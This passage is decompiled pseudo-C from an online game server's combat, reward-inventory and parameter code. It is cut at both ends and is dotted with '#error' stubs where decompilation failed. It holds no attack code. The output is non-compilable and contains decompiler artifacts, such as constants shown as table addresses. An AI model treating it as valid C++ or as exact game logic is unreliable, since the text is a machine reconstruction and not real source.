// [sp-8h] [bp-A4h]@1 int v17; // [sp-4h] [bp-A0h]@1 int v18; // [sp+10h] [bp-8Ch]@1 ORToken *v19; // [sp+14h] [bp-88h]@6 char path[128]; // [sp+18h] [bp-84h]@1 unsigned int v21; // [sp+98h] [bp-4h]@1 v21 = (unsigned int)&v18 ^ __security_cookie; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (OptionReader *)this; v4 = (char *)&namestring + 256 * v2; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v17 = (int)v4; *((_DWORD *)v4 + 2) = v5; v6 = *(_DWORD *)&world->n4_name[12]; v16 = "../9Data/Hero/World/%s/RecallCoord.txt"; v15 = path; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf(v15, v16); if ( !OptionReader::or_Read(v3, path) ) { BYTE3(v18) = OptionReader::or_Read(v3, "../9Data/Hero/World/RecallCoord.txt"); v7 = OptionReader::or_ErrorLine(v3); if ( !BYTE3(v18) ) { AssertClass::ac_AssertFail(&shineassert, "Error in read RecallCoord option", v7); ShineExit("RecallPointTable::rpt_Load"); } } for ( i = 0; ; ++i ) { v17 = i; v19 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "RecallPoint", 0x14u); v9 = OptionReader::or_SelectFromOrder(v3, v12, v17); v10 = v9; if ( !v9 ) break; v11 = BTree::operator__(&stru_131DE8B8, (const char *)v9); if ( v11 == -1 ) LOWORD(v11) = -1; *((_DWORD *)v10 + 8) = (unsigned __int16)v11; } } //----- (004E31B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillRewardInven(void *this, int rewardinv) { void *v2; // edi@1 char *v3; // eax@1 int v4; // esi@1 int v5; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ItemBag::ib_clear((ItemBag *)v2 + 34150); ItemBag::ib_InitializeAsNumber( (ItemBag *)v2 + 34150, (char *)(rewardinv + 15), (PROTO_ITEMPACKET_TOTAL *)(rewardinv + 16), 2); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12333; v4 = ItemRewardStorage::irs_FillBufferItem( (ItemRewardStorage *)((char *)v2 + 136600), v3 + 2, (PROTO_ITEMPACKET_INFORM *)(v3 + 3)) + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v4) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven : Packet Too Long", v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillRewardInven"); } //----- (004E32C0) -------------------------------------------------------- int __thiscall EngNormAtt::ena_LH(EngNormAtt *this, int leveldiff) { return 30; } //----- (004E32D0) -------------------------------------------------------- #error "4E32D0: undefined or illegal type '#593' (funcsize=27)" //----- (004E3330) -------------------------------------------------------- void __thiscall EngSklAtt::EngSklAtt(EngSklAtt *this) { this->baseclass_0.vfptr = (EngNormAttVtbl *)EngSklAtt::_vftable_; } // 657188: using guessed type int (__stdcall *EngSklAtt___vftable_[4])(int, int, int ef); //----- (004E3340) -------------------------------------------------------- void __thiscall EngSklAtt::_EngSklAtt(EngSklAtt *this) { this->baseclass_0.vfptr = (EngNormAttVtbl *)EngNormAtt::_vftable_; } // 657170: using guessed type int (__stdcall *EngNormAtt___vftable_[4])(int, int, int ef); //----- (004E3350) -------------------------------------------------------- int __thiscall EngNormAtt::ena_attack(EngNormAtt *this, #593 *a2, #593 *a3, EngageFlag *ef, char *iscritical) { EngNormAtt *v5; // esi@1 signed int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 int v9; // edx@1 int result; // eax@2 v5 = this; v6 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))this->vfptr->ena_physichitrate)(a2, a3, ef); v7 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v7; v8 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v7]]; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; if ( v6 >= *(_WORD *)&v8[2 * v9] ) { result = v5->vfptr->ena_physicdamage(v5, a2, a3, ef); rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (rndbox.rb_box[10].rs_point.value + 1); if ( rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] ) { *iscritical = 0; } else { result *= 2; *iscritical = 1; } } else { result = 0; } return result; } //----- (004E3400) -------------------------------------------------------- int __thiscall EngSklAtt::esa_physicaldamage(EngSklAtt *this, #593 *a2, #593 *a3, EngageFlag *ef) { ActiveSkillInfoServer *v4; // eax@1 EngSklAtt *v5; // edi@1 unsigned int v6; // eax@2 char *v7; // eax@2 int v8; // ecx@2 SkillDataBox::SkillDataIndex *v9; // ebx@2 signed int v11; // eax@5 unsigned int v12; // ecx@5 char *v13; // ecx@5 int v14; // edx@5 int v15; // eax@8 char *v16; // eax@10 int v17; // ecx@10 unsigned __int16 v18; // ax@10 v4 = ef->efm_sklinfo->sdi_ServInf; v5 = this; if ( v4->PsySucRate ) { v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; v9 = ef->efm_sklinfo; if ( ef->efm_sklinfo->sdi_ServInf->PsySucRate < *(_WORD *)&v7[2 * v8] ) return 0; } else { if ( !v4->SkilPyHitRate || (v11 = this->baseclass_0.vfptr->ena_physichitrate((EngNormAtt *)this, a2, a3, ef), v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v12, v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]], v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1), *((_DWORD *)v13 + 8192) = v14, v11 < *(_WORD *)&v13[2 * v14]) || (v9 = ef->efm_sklinfo, ef->efm_sklinfo->sdi_ServInf->SkilPyHitRate < RandomBox::rb_1000(&rndbox)) ) return 0; } v15 = v9->sdi_Activ->MaxWC - v9->sdi_Activ->MinWC + 1; if ( v9->sdi_Activ->MaxWC - v9->sdi_Activ->MinWC == -1 || (unsigned int)v15 > 0x64 ) { v18 = 0; } else { v16 = (char *)&rndbox + 32776 * v15; v17 = *((_DWORD *)v16 + 8193) & (*((_DWORD *)v16 + 8192) + 1); *((_DWORD *)v16 + 8192) = v17; v18 = *(_WORD *)&v16[2 * v17]; } return ef->efm_sklinfo->sdi_Activ->MinWC + v18 + v5->baseclass_0.vfptr->ena_physicdamage((EngNormAtt *)v5, a2, a3, ef); } //----- (004E3550) -------------------------------------------------------- int __thiscall EngSklAtt::esa_masicaldamage(EngSklAtt *this, #593 *a2, #593 *a3, EngageFlag *ef) { ActiveSkillInfoServer *v4; // eax@1 EngSklAtt *v5; // esi@1 unsigned int v6; // eax@2 char *v7; // eax@2 int v8; // ecx@2 SkillDataBox::SkillDataIndex *v9; // ebx@2 signed int v11; // eax@5 unsigned int v12; // ecx@5 char *v13; // ecx@5 int v14; // edx@5 int v15; // eax@8 v4 = ef->efm_sklinfo->sdi_ServInf; v5 = this; if ( v4->MagSucRate ) { v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; v9 = ef->efm_sklinfo; if ( ef->efm_sklinfo->sdi_ServInf->MagSucRate < *(_WORD *)&v7[2 * v8] ) return 0; } else { if ( !v4->SkilMaHitRate || (v11 = this->baseclass_0.vfptr->ena_physichitrate((EngNormAtt *)this, a2, a3, ef), v12 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1), rndbox.rb_box[4].rs_point.value = v12, v13 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v12]], v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1), *((_DWORD *)v13 + 8192) = v14, v11 < *(_WORD *)&v13[2 * v14]) || (v9 = ef->efm_sklinfo, ef->efm_sklinfo->sdi_ServInf->SkilMaHitRate < RandomBox::rb_1000(&rndbox)) ) return 0; } v15 = v9->sdi_Activ->MaxMA - v9->sdi_Activ->MinMA + 1; if ( v9->sdi_Activ->MaxMA - v9->sdi_Activ->MinMA != -1 ) { if ( (unsigned int)v15 <= 0x64 ) rndbox.rb_box[v15].rs_point.value = rndbox.rb_box[v15].rs_point.mask & (rndbox.rb_box[v15].rs_point.value + 1); } return v5->baseclass_0.vfptr->ena_masicdamage((EngNormAtt *)v5, a2, a3, ef); } //----- (004E3680) -------------------------------------------------------- #error "4E3680: undefined or illegal type '#593' (funcsize=274)" //----- (004E3AA0) -------------------------------------------------------- #error "4E3AA0: undefined or illegal type '#593' (funcsize=303)" //----- (004E3F20) -------------------------------------------------------- #error "4E3F20: undefined or illegal type '#593' (funcsize=438)" //----- (004E4580) -------------------------------------------------------- #error "4E4580: undefined or illegal type '#593' (funcsize=310)" //----- (004E4A10) -------------------------------------------------------- #error "4E4A10: undefined or illegal type '#593' (funcsize=282)" //----- (004E4E50) -------------------------------------------------------- #error "4E4E50: undefined or illegal type '#593' (funcsize=282)" //----- (004E5290) -------------------------------------------------------- #error "4E5290: undefined or illegal type '#593' (funcsize=696)" //----- (004E5CB0) -------------------------------------------------------- #error "4E5CB0: undefined or illegal type '#593' (funcsize=696)" //----- (004E66D0) -------------------------------------------------------- char __thiscall RulesOfEngagement::roe_IsDamageSkill(RulesOfEngagement *this, EngageArgument *argument) { SkillDataBox::SkillDataIndex *v2; // eax@1 char result; // al@2 v2 = argument->sklinfo; if ( v2 ) result = v2->sdi_ServInf->UsualAttack; else result = 0; return result; } //----- (004E66F0) -------------------------------------------------------- #error "4E66F0: undefined or illegal type '#593' (funcsize=341)" //----- (004E6BF0) -------------------------------------------------------- #error "4E6BF0: undefined or illegal type '#593' (funcsize=95)" //----- (004E6D50) -------------------------------------------------------- #error "4E6D50: undefined or illegal type '#593' (funcsize=303)" //----- (004E71B0) -------------------------------------------------------- #error "4E71B0: undefined or illegal type '#593' (funcsize=24)" //----- (004E7200) -------------------------------------------------------- void __thiscall RulesOfEngagement::roe_CriticalStun(RulesOfEngagement *this, EngageArgument *argument) { unsigned int v2; // eax@2 char *v3; // eax@2 if ( argument->iscritical ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; *((_DWORD *)v3 + 8192) = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); ((void (__stdcall *)(_DWORD))this->vfptr->roe_CriticalStunRate)(argument); } } //----- (004E7310) -------------------------------------------------------- long double __thiscall RulesOfEngagement::roe_CriticalStunRate(RulesOfEngagement *this, EngageArgument *argument) { return 200.0; } //----- (004E7320) -------------------------------------------------------- #error "4E7320: undefined or illegal type '#593' (funcsize=89)" //----- (004E7420) -------------------------------------------------------- void __thiscall RulesOfEngagementNormalPY::RulesOfEngagementNormalPY(RulesOfEngagementNormalPY *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementNormalPY::_vftable_; } // 657428: using guessed type double (__stdcall *RulesOfEngagementNormalPY___vftable_)(int argument); //----- (004E7430) -------------------------------------------------------- void __thiscall RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagement::_vftable_; } // 657360: using guessed type double (__stdcall *RulesOfEngagement___vftable_[4])(int argument); //----- (004E7440) -------------------------------------------------------- void __thiscall RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(RulesOfEngagementNormalMA *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementNormalMA::_vftable_; } // 657464: using guessed type double (__stdcall *RulesOfEngagementNormalMA___vftable_)(int argument); //----- (004E7450) -------------------------------------------------------- void __thiscall RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(RulesOfEngagementPhisycalSkill *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementPhisycalSkill::_vftable_; } // 6574A0: using guessed type double (__stdcall *RulesOfEngagementPhisycalSkill___vftable_)(int argument); //----- (004E7460) -------------------------------------------------------- void __thiscall RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(RulesOfEngagementMagicalSkill *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RulesOfEngagementMagicalSkill::_vftable_; } // 6574DC: using guessed type double (__stdcall *RulesOfEngagementMagicalSkill___vftable_)(int argument); //----- (004E7470) -------------------------------------------------------- void __thiscall RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(RulesOfEngagementAlwaysHit *this) { this->baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagementAlwaysHit::_vftable_; } // 657518: using guessed type double (__stdcall *RulesOfEngagementAlwaysHit___vftable_[4])(int argument); //----- (004E7480) -------------------------------------------------------- void __thiscall RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(RulesOfEngagementAlwaysCritical *this) { this->baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)RulesOfEngagementAlwaysCritical::_vftable_; } // 657554: using guessed type double (__stdcall *RulesOfEngagementAlwaysCritical___vftable_[2])(int argument); //----- (004E7490) -------------------------------------------------------- long double __thiscall RulesOfEngagementAlwaysHit::roe_HitRate(RulesOfEngagementAlwaysCritical *this, EngageArgument *argument) { return 1000.0; } //----- (004E74A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_CheckBlockDuringMoving(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this, AbnormalStateContainer::AbstateElementInObject *aso) { return 1; } //----- (004E74B0) -------------------------------------------------------- #error "4E74B0: undefined or illegal type '#593' (funcsize=12)" //----- (004E74E0) -------------------------------------------------------- #error "4E74E0: undefined or illegal type '#593' (funcsize=12)" //----- (004E7510) -------------------------------------------------------- long double __thiscall RulesOfEngagement::roe_DefendPower(RulesOfEngagement *this, EngageArgument *argument) { return 0.0; } //----- (004E7520) -------------------------------------------------------- #error "4E7520: undefined or illegal type '#593' (funcsize=12)" //----- (004E7550) -------------------------------------------------------- #error "4E7550: undefined or illegal type '#593' (funcsize=12)" //----- (004E7580) -------------------------------------------------------- void __thiscall RuleOfEngagementHealPower::RuleOfEngagementHealPower(RuleOfEngagementHealPower *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RuleOfEngagementHealPower::_vftable_; } // 657590: using guessed type double (__stdcall *RuleOfEngagementHealPower___vftable_)(int argument); //----- (004E7590) -------------------------------------------------------- void __thiscall RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (RulesOfEngagementVtbl *)&RuleOfEngagementHealAttack::_vftable_; } // 6575CC: using guessed type double (__stdcall *RuleOfEngagementHealAttack___vftable_)(int argument); //----- (004E75A0) -------------------------------------------------------- int __thiscall EngSklAtt::ena_attack(EngSklAtt *this, #593 *a2, #593 *a3, EngageFlag *ef, char *iscritical) { EngSklAtt *v5; // ebx@1 int result; // eax@3 int v7; // esi@5 v5 = this; if ( !ef->efm_sklinfo ) { AssertClass::ac_AssertFail(&shineassert, "EngSklAtt::ena_attack : Null skill info", ef->efm_sklinfo != 0); return 0; } if ( !ef->efm_sklinfo->sdi_ServInf->UsualAttack ) return 0; v7 = EngSklAtt::esa_masicaldamage(this, a2, a3, ef); result = ef->efm_sklinfo->sdi_ServInf->DmgIncValue + ((unsigned int)((EngSklAtt::esa_physicaldamage(v5, a2, a3, ef) + v7) * ef->efm_sklinfo->sdi_ServInf->DmgIncRate * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (rndbox.rb_box[10].rs_point.value + 1); if ( rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] ) { *iscritical = 0; } else { result *= 2; *iscritical = 1; } return result; } //----- (004E7660) -------------------------------------------------------- #error "4E7660: undefined or illegal type '#593' (funcsize=22)" //----- (004E76A0) -------------------------------------------------------- #error "4E76A0: undefined or illegal type '#593' (funcsize=22)" //----- (004E76E0) -------------------------------------------------------- #error "4E76E0: undefined or illegal type '#593' (funcsize=51)" //----- (004E7770) -------------------------------------------------------- #error "4E7770: undefined or illegal type '#593' (funcsize=51)" //----- (004E7800) -------------------------------------------------------- #error "4E7800: undefined or illegal type '#593' (funcsize=153)" //----- (004E7A50) -------------------------------------------------------- long double __thiscall RulesOfEngagementNormalPY::roe_Damage(RulesOfEngagementNormalPY *this, EngageArgument *argument, long double AttackPower, long double DefendPower) { RulesOfEngagement *v4; // esi@1 long double DefendPowera; // [sp+34h] [bp+10h]@1 v4 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "RulesOfEngagementNormalPY::roe_Damage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementNormalPY::roe_Damage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; DefendPowera = RulesOfEngagement::roe_Damage(v4, argument, AttackPower, DefendPower); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "RulesOfEngagementNormalPY::roe_Damage"); return DefendPowera; } //----- (004E7B10) -------------------------------------------------------- long double __thiscall RulesOfEngagementNormalMA::roe_Damage(RulesOfEngagementNormalMA *this, EngageArgument *argument, long double AttackPower, long double DefendPower) { RulesOfEngagement *v4; // esi@1 long double DefendPowera; // [sp+34h] [bp+10h]@1 v4 = (RulesOfEngagement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "RulesOfEngagementNormalMA::roe_Damage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementNormalMA::roe_Damage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; DefendPowera = RulesOfEngagement::roe_Damage(v4, argument, AttackPower, DefendPower); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "RulesOfEngagementNormalMA::roe_Damage"); return DefendPowera; } //----- (004E7BD0) -------------------------------------------------------- #error "4E7BD0: undefined or illegal type '#593' (funcsize=223)" //----- (004E7F20) -------------------------------------------------------- #error "4E7F20: undefined or illegal type '#593' (funcsize=75)" //----- (004E8060) -------------------------------------------------------- #error "4E8060: undefined or illegal type '#593' (funcsize=76)" //----- (004E8190) -------------------------------------------------------- #error "4E8190: undefined or illegal type '#593' (funcsize=201)" //----- (004E8480) -------------------------------------------------------- #error "4E8480: undefined or illegal type '#593' (funcsize=75)" //----- (004E85C0) -------------------------------------------------------- #error "4E85C0: undefined or illegal type '#593' (funcsize=76)" //----- (004E86F0) -------------------------------------------------------- #error "4E86F0: undefined or illegal type '#593' (funcsize=253)" //----- (004E8A90) -------------------------------------------------------- long double __thiscall RulesOfEngagementPhisycalSkill::roe_CriticalRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument) { RulesOfEngagementNormalPY *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagementNormalPY *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_CriticalRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementPhisycalSkill::roe_CriticalRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagementNormalPY::roe_CriticalRate(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_CriticalRate"); return v3; } //----- (004E8B40) -------------------------------------------------------- long double __thiscall RulesOfEngagementPhisycalSkill::roe_DefendPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument) { RulesOfEngagementNormalPY *v2; // esi@1 double v3; // ST08_8@1 v2 = (RulesOfEngagementNormalPY *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_DefendPower"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagementPhisycalSkill::roe_DefendPower"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = RulesOfEngagementNormalPY::roe_DefendPower(v2, argument); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "RulesOfEngagementPhisycalSkill::roe_DefendPower"); return v3; } //----- (004E8BF0) -------------------------------------------------------- #error "4E8BF0: undefined or illegal type '#593' (funcsize=301)" //----- (004E9050) -------------------------------------------------------- #error "4E9050: undefined or illegal type '#593' (funcsize=75)" //----- (004E9190) -------------------------------------------------------- #error "4E9190: undefined or illegal type '#593' (funcsize=76)" //----- (004E92C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_NotifyParameterChange(void *this, char send) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Container::c_MakeTotal((char *)v2 + 3860); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NotifyParameterChange"); } //----- (004E9360) -------------------------------------------------------- char __thiscall RulesOfEngagement::roe_IsDamageImmune(RulesOfEngagement *this, EngageArgument *argument) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "RulesOfEngagement::roe_IsDamageImmune"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "RulesOfEngagement::roe_IsDamageImmune"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "RulesOfEngagement::roe_IsDamageImmune"); return 0; } //----- (004E93B0) -------------------------------------------------------- #error "4E93B0: undefined or illegal type '#593' (funcsize=65)" //----- (004E94E0) -------------------------------------------------------- #error "4E94E0: undefined or illegal type '#593' (funcsize=65)" //----- (004E9610) -------------------------------------------------------- #error "4E9610: undefined or illegal type '#593' (funcsize=67)" //----- (004E96C0) -------------------------------------------------------- #error "4E96C0: undefined or illegal type '#593' (funcsize=67)" //----- (004E9770) -------------------------------------------------------- #error "4E9770: undefined or illegal type '#593' (funcsize=27)" //----- (004E97C0) -------------------------------------------------------- #error "4E97C0: undefined or illegal type '#593' (funcsize=27)" //----- (004E9810) -------------------------------------------------------- #error "4E9810: undefined or illegal type '#593' (funcsize=27)" //----- (004E9860) -------------------------------------------------------- #error "4E9860: undefined or illegal type '#593' (funcsize=27)" //----- (004E98B0) -------------------------------------------------------- #error "4E98B0: undefined or illegal type '#593' (funcsize=27)" //----- (004E9900) -------------------------------------------------------- #error "4E9900: undefined or illegal type '#593' (funcsize=27)" //----- (004E9950) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange(void *pObj, char send) { void *v2; // ebx@1 int v3; // edx@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@1 int v7; // edx@1 int v8; // esi@1 int v9; // eax@1 int v10; // eax@1 int v11; // eax@4 MobDataBox::MobDataBoxIndex *v12; // eax@4 int v13; // eax@5 long double v14; // st7@10 int v15; // eax@11 long double v16; // st7@13 int v17; // eax@14 long double v18; // st7@16 int v19; // eax@17 long double v20; // st7@19 int v21; // eax@20 long double v22; // st7@22 int v23; // eax@23 long double v24; // st7@25 int v25; // eax@26 PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *v26; // esi@31 unsigned int v27; // edi@31 bool v28; // al@31 Parameter::Cluster *v29; // ecx@32 ShineCommonParameter::FreeStatStr *v30; // eax@35 ShineCommonParameter::FreeStatCon *v31; // eax@35 ShineCommonParameter::FreeStatInt *v32; // eax@35 ShineCommonParameter::FreeStatMen *v33; // eax@35 ShineCommonParameter::FreeStatDex *v34; // eax@35 ShineCommonParameter::FreeStatDex *v35; // eax@35 ShineCommonParameter::FreeStatMen *v36; // eax@35 ShineCommonParameter::FreeStatCon *v37; // eax@35 ShineCommonParameter::FreeStatCon *v38; // eax@35 Parameter::Cluster *v39; // ecx@35 int v40; // eax@36 int v41; // eax@36 int v42; // eax@36 int v43; // eax@36 int v44; // eax@36 int v45; // eax@36 int v46; // eax@36 int v47; // eax@36 int v48; // eax@36 int v49; // edx@37 int v50; // esi@37 int v51; // edi@37 int v52; // eax@43 unsigned int v53; // [sp-8h] [bp-1F8h]@35 unsigned int v54; // [sp-4h] [bp-1F4h]@31 unsigned int v55; // [sp-4h] [bp-1F4h]@35 int v56; // [sp-4h] [bp-1F4h]@39 int v57; // [sp+0h] [bp-1F0h]@35 const char *v58[5]; // [sp+0h] [bp-1F0h]@39 PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *v59; // [sp+4h] [bp-1ECh]@35 int v60; // [sp+4h] [bp-1ECh]@39 Parameter::Cluster *last; // [sp+14h] [bp-1DCh]@1 PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *last_4; // [sp+18h] [bp-1D8h]@31 unsigned int curmaxsp; // [sp+1Ch] [bp-1D4h]@31 int arg; // [sp+20h] [bp-1D0h]@1 int v65; // [sp+24h] [bp-1CCh]@17 FunctionEntarance _; // [sp+5Ch] [bp-194h]@1 char UserChecktotal; // [sp+60h] [bp-190h]@29 int v68; // [sp+74h] [bp-17Ch]@30 int v69; // [sp+78h] [bp-178h]@30 int v70; // [sp+7Ch] [bp-174h]@30 int v71; // [sp+80h] [bp-170h]@30 int v72; // [sp+84h] [bp-16Ch]@30 int v73; // [sp+88h] [bp-168h]@30 int v74; // [sp+8Ch] [bp-164h]@30 int v75; // [sp+90h] [bp-160h]@30 char temptotal; // [sp+120h] [bp-D0h]@37 int nChangeParam; // [sp+134h] [bp-BCh]@44 int v78; // [sp+138h] [bp-B8h]@44 int v79; // [sp+13Ch] [bp-B4h]@44 int v80; // [sp+144h] [bp-ACh]@44 int v81; // [sp+148h] [bp-A8h]@44 int v82; // [sp+14Ch] [bp-A4h]@44 int v83; // [sp+150h] [bp-A0h]@44 int v84; // [sp+1ECh] [bp-4h]@1 v2 = pObj; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v84 = 0; last = (Parameter::Cluster *)((char *)v2 + 65944); v4 = *((_DWORD *)v2 + 16486) - (*(int (__thiscall **)(void *))(v3 + 2272))(v2); v5 = *(_DWORD *)v2; *((_DWORD *)v2 + 16486) = v4; v6 = (*(int (__thiscall **)(void *))(v5 + 2272))(v2); v7 = *(_DWORD *)v2; *((_DWORD *)v2 + 16487) -= v6; v8 = *((_DWORD *)v2 + 16489) - (*(int (__thiscall **)(void *))(v7 + 2272))(v2); v9 = *(_DWORD *)v2; *((_DWORD *)v2 + 16489) = v8; *((_DWORD *)v2 + 16488) -= (*(int (__thiscall **)(void *))(v9 + 2272))(v2); *((_DWORD *)v2 + 16490) -= (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2272))(v2); Parameter::Container::c_MakeTotal((char *)v2 + 3860); EngageArgument::EngageArgument((EngageArgument *)&arg, (#593 *)v2, (#593 *)v2, 0, 0, 0, 1.0); v10 = *(_DWORD 